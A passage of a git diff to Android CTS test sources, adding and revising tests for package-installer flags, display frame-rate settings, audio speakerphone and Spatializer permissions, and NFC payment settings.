- "include-filter": "android.content.pm.cts"
+ "exclude-annotation": "androidx.test.filters.Suppress"
}
]
- },
+ }
+ ],
+ "presubmit-large": [
{
- "name": "FrameworksCoreTests",
+ "name": "CtsContentTestCases",
"options": [
{
- "include-filter": "android.content.pm.PackageManagerTests"
+ "exclude-annotation": "androidx.test.filters.FlakyTest"
},
{
- "exclude-annotation": "androidx.test.filters.Suppress"
+ "exclude-annotation": "org.junit.Ignore"
+ },
+ {
+ "include-filter": "android.content.pm.cts"
}
]
}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 3d967d7c693..df40ea9374a 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -28,12 +28,25 @@ import static org.junit.Assert.assertTrue;
import android.app.UiAutomation;
import android.content.ComponentName;
import android.content.Context;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.ApplicationInfo;
import android.content.pm.DataLoaderParams;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageInstaller.SessionParams;
import android.content.pm.PackageManager;
import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.IBinder;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
@@ -57,6 +70,10 @@ import java.io.OutputStream;
import java.util.Arrays;
import java.util.Optional;
import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
import java.util.stream.Collectors;
@RunWith(Parameterized.class)
@@ -154,6 +171,15 @@ public class PackageManagerShellCommandTest {
}
}
+ private static void writeFileToSession(PackageInstaller.Session session, String name,
+ String apk) throws IOException {
+ File file = new File(createApkPath(apk));
+ try (OutputStream os = session.openWrite(name, 0, file.length());
+ InputStream is = new FileInputStream(file)) {
+ writeFullStream(is, os, file.length());
+ }
+ }
+
@Before
public void onBefore() throws Exception {
// Check if Incremental is allowed and revert to non-dataloader installation.
@@ -482,6 +508,78 @@ public class PackageManagerShellCommandTest {
}
@Test
+ public void testDontKillWithSplit() throws Exception {
+ installPackage(TEST_HW5);
+
+ getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ final PackageInstaller installer = getPackageInstaller();
+ final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+ params.setAppPackageName(TEST_APP_PACKAGE);
+ params.setDontKillApp(true);
+
+ final int sessionId = installer.createSession(params);
+ PackageInstaller.Session session = installer.openSession(sessionId);
+ assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+ writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0);
+
+ final CompletableFuture<Boolean> result = new CompletableFuture<>();
+ session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+ @Override
+ public void send(int code, Intent intent, String resolvedType,
+ IBinder whitelistToken, IIntentReceiver finishedReceiver,
+ String requiredPermission, Bundle options) throws RemoteException {
+ boolean dontKillApp =
+ (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+ result.complete(dontKillApp);
+ }
+ }));
+
+ // We are adding split. OK to have the flag.
+ assertTrue(result.get());
+ } finally {
+ getUiAutomation().dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
+ public void testDontKillRemovedWithBaseApk() throws Exception {
+ installPackage(TEST_HW5);
+
+ getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ final PackageInstaller installer = getPackageInstaller();
+ final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+ params.setAppPackageName(TEST_APP_PACKAGE);
+ params.setDontKillApp(true);
+
+ final int sessionId = installer.createSession(params);
+ PackageInstaller.Session session = installer.openSession(sessionId);
+ assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+ writeFileToSession(session, "hw7", TEST_HW7);
+
+ final CompletableFuture<Boolean> result = new CompletableFuture<>();
+ session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+ @Override
+ public void send(int code, Intent intent, String resolvedType,
+ IBinder whitelistToken, IIntentReceiver finishedReceiver,
+ String requiredPermission, Bundle options) throws RemoteException {
+ boolean dontKillApp =
+ (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+ result.complete(dontKillApp);
+ }
+ }));
+
+ // We are updating base.apk. Flag to be removed.
+ assertFalse(result.get());
+ } finally {
+ getUiAutomation().dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
public void testDataLoaderParamsApiV1() throws Exception {
if (!mStreaming) {
return;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
index 1b41d09aa3b..379a732c5ac 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
@@ -20,16 +20,16 @@ import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentat
import static org.junit.Assert.assertTrue;
-import android.app.UiAutomation;
+import android.Manifest;
import android.content.Context;
-import android.util.Log;
+import android.hardware.display.DisplayManager;
import android.view.Surface;
-import android.view.SurfaceControl;
import androidx.test.filters.MediumTest;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
import com.android.compatibility.common.util.DisplayUtil;
import org.junit.After;
@@ -46,38 +46,39 @@ public class SetFrameRateTest {
@Rule
public ActivityTestRule<FrameRateCtsActivity> mActivityRule =
new ActivityTestRule<>(FrameRateCtsActivity.class);
- private long mFrameRateFlexibilityToken;
+
+ @Rule
+ public final AdoptShellPermissionsRule mShellPermissionsRule =
+ new AdoptShellPermissionsRule(getInstrumentation().getUiAutomation(),
+ Manifest.permission.HDMI_CEC,
+ Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+ Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+
+ private DisplayManager mDisplayManager;
+ private int mInitialRefreshRateSwitchingType;
@Before
public void setUp() throws Exception {
- // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame
- // rate flexibility token. Switch to shell permission identity so we'll have the
- // necessary permission when surface flinger checks.
- UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
- uiAutomation.adoptShellPermissionIdentity();
-
Context context = getInstrumentation().getTargetContext();
assertTrue("Physical display is expected.", DisplayUtil.isDisplayConnected(context));
- try {
- // Take ownership of the frame rate flexibility token, if we were able
- // to get one - we'll release it in tearDown().
- mFrameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken();
- } finally {
- uiAutomation.dropShellPermissionIdentity();
- }
+ FrameRateCtsActivity activity = mActivityRule.getActivity();
- if (mFrameRateFlexibilityToken == 0) {
- Log.e(TAG, "Failed to acquire frame rate flexibility token."
- + " SetFrameRate tests may fail.");
- }
+ // Prevent DisplayManager from limiting the allowed refresh rate range based on
+ // non-app policies (e.g. low battery, user settings, etc).
+ mDisplayManager = activity.getSystemService(DisplayManager.class);
+ mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+
+ mInitialRefreshRateSwitchingType = DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
+ mDisplayManager.setRefreshRateSwitchingType(
+ DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS);
}
@After
public void tearDown() {
- if (mFrameRateFlexibilityToken != 0) {
- SurfaceControl.releaseFrameRateFlexibilityToken(mFrameRateFlexibilityToken);
- mFrameRateFlexibilityToken = 0;
+ if (mDisplayManager != null) {
+ mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
+ mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
}
}
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index e51f010eea7..f5c4ffd1792 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -263,6 +263,10 @@ public class AudioManagerTest extends InstrumentationTestCase {
@AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
public void testSpeakerphoneIntent() throws Exception {
+ // Speaker Phone Not supported in Automotive
+ if (isAutomotive()) {
+ return;
+ }
final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED);
final boolean initialSpeakerphoneState = mAudioManager.isSpeakerphoneOn();
@@ -450,6 +454,10 @@ public class AudioManagerTest extends InstrumentationTestCase {
assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(),
DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true");
+ // Speaker Phone Not supported in Automotive
+ if (isAutomotive()) {
+ return;
+ }
mAudioManager.setSpeakerphoneOn(true);
assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(),
DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false");
@@ -1942,6 +1950,12 @@ public class AudioManagerTest extends InstrumentationTestCase {
assertTrue(errorString, result);
}
+ private boolean isAutomotive() {
+ PackageManager pm = mContext.getPackageManager();
+ return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+ }
+
+
// getParameters() & setParameters() are deprecated, so don't test
// setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes()
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index 96ae72a2793..cea55c7b749 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -226,6 +226,7 @@ public class EncodeVirtualDisplayTest extends AndroidTestCase {
MediaCodec decoder = null;
OutputSurface outputSurface = null;
VirtualDisplay virtualDisplay = null;
+ ColorSlideShow slideShow = null;
try {
// Encoded video resolution matches virtual display.
@@ -265,13 +266,19 @@ public class EncodeVirtualDisplayTest extends AndroidTestCase {
// Run the color slide show on a separate thread.
mInputDone = false;
- new ColorSlideShow(virtualDisplay.getDisplay()).start();
+ slideShow = new ColorSlideShow(virtualDisplay.getDisplay());
+ slideShow.start();
// Record everything we can and check the results.
doTestEncodeVirtual(encoder, decoder, outputSurface);
} finally {
if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display");
+ if (slideShow != null) {
+ try {
+ slideShow.join();
+ } catch (InterruptedException ignore) {}
+ }
if (virtualDisplay != null) {
virtualDisplay.release();
}
diff --git a/tests/tests/media/src/android/media/cts/SpatializerTest.java b/tests/tests/media/src/android/media/cts/SpatializerTest.java
index 0ab5ff5727a..d38bad3e8ce 100644
--- a/tests/tests/media/src/android/media/cts/SpatializerTest.java
+++ b/tests/tests/media/src/android/media/cts/SpatializerTest.java
@@ -21,6 +21,8 @@ import static org.junit.Assert.assertThrows;
import android.annotation.NonNull;
import android.content.Context;
import android.media.AudioAttributes;
+import android.media.AudioDeviceAttributes;
+import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.Spatializer;
@@ -29,6 +31,10 @@ import android.util.Log;
import com.android.compatibility.common.util.CtsAndroidTestCase;
import com.android.internal.annotations.GuardedBy;
+import org.junit.Assert;
+
+import java.util.Arrays;
+import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
@@ -38,6 +44,7 @@ public class SpatializerTest extends CtsAndroidTestCase {
private AudioManager mAudioManager;
private static final String TAG = "SpatializerTest";
+ private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
@Override
protected void setUp() throws Exception {
@@ -45,12 +52,17 @@ public class SpatializerTest extends CtsAndroidTestCase {
mAudioManager = (AudioManager) getContext().getSystemService(AudioManager.class);
}
- public void testGetSpatializer() {
+ @Override
+ protected void tearDown() throws Exception {
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ }
+
+ public void testGetSpatializer() throws Exception {
Spatializer spat = mAudioManager.getSpatializer();
assertNotNull("Spatializer shouldn't be null", spat);
}
- public void testUnsupported() {
+ public void testUnsupported() throws Exception {
Spatializer spat = mAudioManager.getSpatializer();
if (spat.getImmersiveAudioLevel() != Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
Log.i(TAG, "skipping testUnsupported, functionality supported");
@@ -60,7 +72,234 @@ public class SpatializerTest extends CtsAndroidTestCase {
assertFalse(spat.isAvailable());
}
- public void testSpatializerStateListenerManagement() {
+ public void testSupportedDevices() throws Exception {
+ Spatializer spat = mAudioManager.getSpatializer();
+ if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+ Log.i(TAG, "skipping testSupportedDevices, functionality unsupported");
+ return;
+ }
+
+ final AudioDeviceAttributes device = new AudioDeviceAttributes(
+ AudioDeviceAttributes.ROLE_OUTPUT, AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "bla");
+ // try to add/remove compatible device without permission, expect failure
+ assertThrows("Able to call addCompatibleAudioDevice without permission",
+ SecurityException.class,
+ () -> spat.addCompatibleAudioDevice(device));
+ assertThrows("Able to call removeCompatibleAudioDevice without permission",
+ SecurityException.class,
+ () -> spat.removeCompatibleAudioDevice(device));
+ assertThrows("Able to call getCompatibleAudioDevice without permission",
+ SecurityException.class,
+ () -> spat.getCompatibleAudioDevices());
+
+ // try again with permission, then add a device and remove it
+ getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+ spat.addCompatibleAudioDevice(device);
+ List<AudioDeviceAttributes> compatDevices = spat.getCompatibleAudioDevices();
+ assertTrue("added device not in list of compatible devices",
+ compatDevices.contains(device));
+ spat.removeCompatibleAudioDevice(device);
+ compatDevices = spat.getCompatibleAudioDevices();
+ assertFalse("removed device still in list of compatible devices",
+ compatDevices.contains(device));
+
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ }
+
+ public void testHeadTrackingListener() throws Exception {
+ Spatializer spat = mAudioManager.getSpatializer();
+ if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+ Log.i(TAG, "skipping testHeadTrackingListener, functionality unsupported");
+ return;
+ }
+
+ // try to call any head tracking method without permission
+ assertThrows("Able to call getHeadTrackingMode without permission",
+ SecurityException.class,
+ () -> spat.getHeadTrackingMode());
+ assertThrows("Able to call getDesiredHeadTrackingMode without permission",
+ SecurityException.class,
+ () -> spat.getDesiredHeadTrackingMode());
+ assertThrows("Able to call getSupportedHeadTrackingModes without permission",
+ SecurityException.class,
+ () -> spat.getSupportedHeadTrackingModes());
+ assertThrows("Able to call setDesiredHeadTrackingMode without permission",
+ SecurityException.class,
+ () -> spat.setDesiredHeadTrackingMode(
+ Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE));
+ final MyHeadTrackingModeListener listener = new MyHeadTrackingModeListener();
+ assertThrows("Able to call addOnHeadTrackingModeChangedListener without permission",
+ SecurityException.class,
+ () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+ listener));
+ assertThrows("Able to call removeOnHeadTrackingModeChangedListener without permission",
+ SecurityException.class,
+ () -> spat.removeOnHeadTrackingModeChangedListener(listener));
+
+ getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+ // argument validation
+ assertThrows("Able to call addOnHeadTrackingModeChangedListener with null Executor",
+ NullPointerException.class,
+ () -> spat.addOnHeadTrackingModeChangedListener(null, listener));
+ assertThrows("Able to call addOnHeadTrackingModeChangedListener with null listener",
+ NullPointerException.class,
+ () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+ null));
+ assertThrows("Able to call removeOnHeadTrackingModeChangedListener with null listener",
+ NullPointerException.class,
+ () -> spat.removeOnHeadTrackingModeChangedListener(null));
+
+ // test of functionality
+ spat.setEnabled(true);
+ List<Integer> supportedModes = spat.getSupportedHeadTrackingModes();
+ Assert.assertNotNull("Invalid null list of tracking modes", supportedModes);
+ Log.i(TAG, "Reported supported head tracking modes:"+ supportedModes);
+ if (!supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
+ && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
+ && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER)) {
+ // no head tracking is supported, verify it is correctly reported by the API
+ assertEquals("When no head tracking mode supported, list of modes must be empty",
+ 0, supportedModes.size());
+ // TODO: to be enforced
+ //assertEquals("Invalid mode when no head tracking mode supported",
+ // Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
+ Log.i(TAG, "no headtracking modes supported, stop test");
+ return;
+ }
+ int trackingModeToUse;
+ if (supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)) {
+ trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE;
+ } else {
+ trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD;
+ }
+ spat.setDesiredHeadTrackingMode(Spatializer.HEAD_TRACKING_MODE_DISABLED);
+ spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(), listener);
+ spat.setDesiredHeadTrackingMode(trackingModeToUse);
+ Integer observedDesired = listener.getDesired();
+ assertNotNull("No desired head tracking mode change reported", observedDesired);
+ assertEquals("Wrong reported desired tracking mode", trackingModeToUse,
+ observedDesired.intValue());
+ assertEquals("Set desired mode not returned by getter", spat.getDesiredHeadTrackingMode(),
+ trackingModeToUse);
+ final int actualMode = spat.getHeadTrackingMode();
+ // not failing test if modes differ, just logging
+ if (trackingModeToUse != actualMode) {
+ Log.i(TAG, "head tracking mode desired:" + trackingModeToUse + " actual mode:"
+ + actualMode);
+ }
+ spat.removeOnHeadTrackingModeChangedListener(listener);
+ }
+
+ public void testSpatializerOutput() throws Exception {
+ Spatializer spat = mAudioManager.getSpatializer();
+ if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+ Log.i(TAG, "skipping testSpatializerOutput, functionality unsupported");
+ return;
+ }
+
+ // try to call any output method without permission
+ assertThrows("Able to call getOutput without permission",
+ SecurityException.class,
+ () -> spat.getOutput());
+ final MyOutputChangedListener listener = new MyOutputChangedListener();
+ assertThrows("Able to call setOnSpatializerOutputChangedListener without permission",
+ SecurityException.class,
+ () -> spat.setOnSpatializerOutputChangedListener(
+ Executors.newSingleThreadExecutor(), listener));
+ assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+ SecurityException.class,
+ () -> spat.clearOnSpatializerOutputChangedListener());
+
+ getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+ // argument validation
+ assertThrows("Able to call setOnSpatializerOutputChangedListener with null Executor",
+ NullPointerException.class,
+ () -> spat.setOnSpatializerOutputChangedListener(null, listener));
+ assertThrows("Able to call setOnSpatializerOutputChangedListener with null listener",
+ NullPointerException.class,
+ () -> spat.setOnSpatializerOutputChangedListener(
+ Executors.newSingleThreadExecutor(), null));
+
+ spat.getOutput();
+ // output doesn't change upon playback, so at this point only exercising
+ // registering / clearing of output listener under permission
+ spat.clearOnSpatializerOutputChangedListener(); // this is to clear the client listener ref
+ spat.setOnSpatializerOutputChangedListener(Executors.newSingleThreadExecutor(), listener);
+ spat.clearOnSpatializerOutputChangedListener();
+ assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+ IllegalStateException.class,
+ () -> spat.clearOnSpatializerOutputChangedListener());
+ }
+
+ public void testExercisePose() throws Exception {
+ Spatializer spat = mAudioManager.getSpatializer();
+ if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+ Log.i(TAG, "skipping testExercisePose, functionality unsupported");
+ return;
+ }
+
+ // argument validation
+ assertThrows("Able to call setGlobalTransform without a 6-float array",
+ IllegalArgumentException.class,
+ () -> spat.setGlobalTransform(new float[5]));
+ assertThrows("Able to call setGlobalTransform without a null array",
+ NullPointerException.class,
+ () -> spat.setGlobalTransform(null));
+ final MyPoseUpdatedListener listener = new MyPoseUpdatedListener();
+ assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null Executor",
+ NullPointerException.class,
+ () -> spat.setOnHeadToSoundstagePoseUpdatedListener(null, listener));
+ assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null listener",
+ NullPointerException.class,
+ () -> spat.setOnHeadToSoundstagePoseUpdatedListener(
+ Executors.newSingleThreadExecutor(), null));
+ assertThrows("Able to call clearOnHeadToSoundstagePoseUpdatedListener with no listener",
+ IllegalStateException.class,
+ () -> spat.clearOnHeadToSoundstagePoseUpdatedListener());
+
+ getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+ // TODO once headtracking is properly reported: check pose changes on recenter and transform
+ spat.setOnHeadToSoundstagePoseUpdatedListener(
+ Executors.newSingleThreadExecutor(), listener);
+ // oneway call from client to AudioService, can't check for exception earlier
+ spat.recenterHeadTracker();
+ // oneway call from client to AudioService, can't check for exception earler
+ spat.setGlobalTransform(new float[6]);
+ spat.clearOnHeadToSoundstagePoseUpdatedListener();
+ }
+
+ public void testEffectParameters() throws Exception {
+ Spatializer spat = mAudioManager.getSpatializer();
+ if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+ Log.i(TAG, "skipping testEffectParameters, functionality unsupported");
+ return;
+ }
+
+ // argument validation
+ assertThrows("Able to call setEffectParameter with null value",
+ NullPointerException.class,
+ () -> spat.setEffectParameter(0, null));
+ assertThrows("Able to call getEffectParameter with null value",
+ NullPointerException.class,
+ () -> spat.getEffectParameter(0, null));
+
+ // permission check
+ byte[] val = new byte[4];
+ assertThrows("Able to call setEffectParameter without permission",
+ SecurityException.class,
+ () -> spat.setEffectParameter(0, val));
+ assertThrows("Able to call getEffectParameter without permission",
+ SecurityException.class,
+ () -> spat.getEffectParameter(0, val));
+ }
+
+ public void testSpatializerStateListenerManagement() throws Exception {
final Spatializer spat = mAudioManager.getSpatializer();
final MySpatStateListener stateListener = new MySpatStateListener();
@@ -100,7 +339,7 @@ public class SpatializerTest extends CtsAndroidTestCase {
() -> spat.removeOnSpatializerStateChangedListener(stateListener));
}
- public void testMinSpatializationCapabilities() {
+ public void testMinSpatializationCapabilities() throws Exception {
Spatializer spat = mAudioManager.getSpatializer();
if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
Log.i(TAG, "skipping testMinSpatializationCapabilities, no Spatializer");
@@ -140,10 +379,8 @@ public class SpatializerTest extends CtsAndroidTestCase {
stateListener);
getInstrumentation().getUiAutomation()
.adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
-
spat.setEnabled(!spatEnabled);
- getInstrumentation().getUiAutomation()
- .dropShellPermissionIdentity();
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
assertEquals("VirtualizerStage enabled state differ",
!spatEnabled, spat.isEnabled());
Boolean enabled = stateListener.getEnabled();
@@ -155,61 +392,15 @@ public class SpatializerTest extends CtsAndroidTestCase {
static class MySpatStateListener
implements Spatializer.OnSpatializerStateChangedListener {
- private final Object mCbEnaLock = new Object();
- private final Object mCbAvailLock = new Object();
- @GuardedBy("mCbEnaLock")
- private Boolean mEnabled = null;
- @GuardedBy("mCbEnaLock")
private final LinkedBlockingQueue<Boolean> mEnabledQueue =
- new LinkedBlockingQueue<Boolean>();
- @GuardedBy("mCbAvailLock")
- private Boolean mAvailable = null;
- @GuardedBy("mCbAvailLock")
- private final LinkedBlockingQueue<Boolean> mAvailableQueue =
- new LinkedBlockingQueue<Boolean>();
-
- private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+ new LinkedBlockingQueue<Boolean>(1);
+
void reset() {
- synchronized (mCbEnaLock) {
- synchronized (mCbAvailLock) {
- mEnabled = null;
- mEnabledQueue.clear();
- mAvailable = null;
- mAvailableQueue.clear();
- }
- }
+ mEnabledQueue.clear();
}
- Boolean getEnabled() {
- synchronized (mCbEnaLock) {
- while (mEnabled == null) {
- try {
- mEnabled = mEnabledQueue.poll(
- LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
- if (mEnabled == null) { // timeout
- break;
- }
- } catch (InterruptedException e) {
- }
- }
- }
- return mEnabled;
- }
-
- Boolean getAvailable() {
- synchronized (mCbAvailLock) {
- while (mAvailable == null) {
- try {
- mAvailable = mAvailableQueue.poll(
- LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
- if (mAvailable == null) { // timeout
- break;
- }
- } catch (InterruptedException e) {
- }
- }
- }
- return mAvailable;
+ Boolean getEnabled() throws Exception {
+ return mEnabledQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
}
MySpatStateListener() {
@@ -218,24 +409,53 @@ public class SpatializerTest extends CtsAndroidTestCase {
@Override
public void onSpatializerEnabledChanged(Spatializer spat, boolean enabled) {
- synchronized (mCbEnaLock) {
- try {
- mEnabledQueue.put(enabled);
- } catch (InterruptedException e) {
- fail("Failed to put enabled event in queue");
- }
- }
+ Log.i(TAG, "onSpatializerEnabledChanged:" + enabled);
+ mEnabledQueue.offer(enabled);
}
@Override
public void onSpatializerAvailableChanged(@NonNull Spatializer spat, boolean available) {
- synchronized (mCbAvailLock) {
- try {
- mAvailableQueue.put(available);
- } catch (InterruptedException e) {
- fail("Failed to put available event in queue");
- }
- }
+ Log.i(TAG, "onSpatializerAvailableChanged:" + available);
+ }
+ }
+
+ static class MyHeadTrackingModeListener implements Spatializer.OnHeadTrackingModeChangedListener
+ {
+ private final LinkedBlockingQueue<Integer> mDesiredQueue =
+ new LinkedBlockingQueue<Integer>(1);
+ private final LinkedBlockingQueue<Integer> mRealQueue =
+ new LinkedBlockingQueue<Integer>(1);
+
+ @Override
+ public void onHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+ Log.i(TAG, "onHeadTrackingModeChanged:" + mode);
+ mRealQueue.offer(mode);
+ }
+
+ @Override
+ public void onDesiredHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+ Log.i(TAG, "onDesiredHeadTrackingModeChanged:" + mode);
+ mDesiredQueue.offer(mode);
+ }
+
+ public Integer getDesired() throws Exception {
+ return mDesiredQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+ }
+
+ static class MyOutputChangedListener implements Spatializer.OnSpatializerOutputChangedListener
+ {
+ @Override
+ public void onSpatializerOutputChanged(Spatializer spatializer, int output) {
+ Log.i(TAG, "onSpatializerOutputChanged:" + output);
+ }
+ }
+
+ static class MyPoseUpdatedListener implements Spatializer.OnHeadToSoundstagePoseUpdatedListener
+ {
+ @Override
+ public void onHeadToSoundstagePoseUpdated(Spatializer spatializer, float[] pose) {
+ Log.i(TAG, "onHeadToSoundstagePoseUpdated:" + Arrays.toString(pose));
}
}
}
diff --git a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
index f25be15a238..c769a09432b 100644
--- a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
+++ b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
@@ -48,6 +48,9 @@ public class NfcPreferredPaymentTest {
private static final ComponentName CtsNfcTestService =
new ComponentName("android.nfc.cts", "android.nfc.cts.CtsMyHostApduService");
+ private static final int MAX_TIMEOUT_MS = 5000;
+ private static final int TEST_DURATION_MS = 100;
+
private NfcAdapter mAdapter;
private CardEmulation mCardEmulation;
private Context mContext;
@@ -67,6 +70,7 @@ public class NfcPreferredPaymentTest {
Settings.Secure.putString(mContext.getContentResolver(),
NFC_PAYMENT_DEFAULT_COMPONENT,
CtsNfcTestService.flattenToString());
+ waitPreferredPaymentSettingDone();
}
@After
@@ -146,4 +150,29 @@ public class NfcPreferredPaymentTest {
fail("Unexpected Exception " + e);
}
}
+
+ public void waitPreferredPaymentSettingDone() {
+ try {
+ for (int i = 0; i < MAX_TIMEOUT_MS / TEST_DURATION_MS; i++) {
+ CharSequence description =
+ mCardEmulation.getDescriptionForPreferredPaymentService();
+
+ if (description != null && description.toString().equals(mDescription)) return;
+
+ msleep(TEST_DURATION_MS);
+ }
+
+ fail("Unable to set the preferred payment service");
+ } catch (Exception e) {
+ fail("Unexpected Exception " + e);
+ }
+ }
+
+ private void msleep(int millis) {
+ try {
+ Thread.sleep(millis);
+ } catch (InterruptedException e) {
+ fail("Unexpected Exception " + e);
+ }
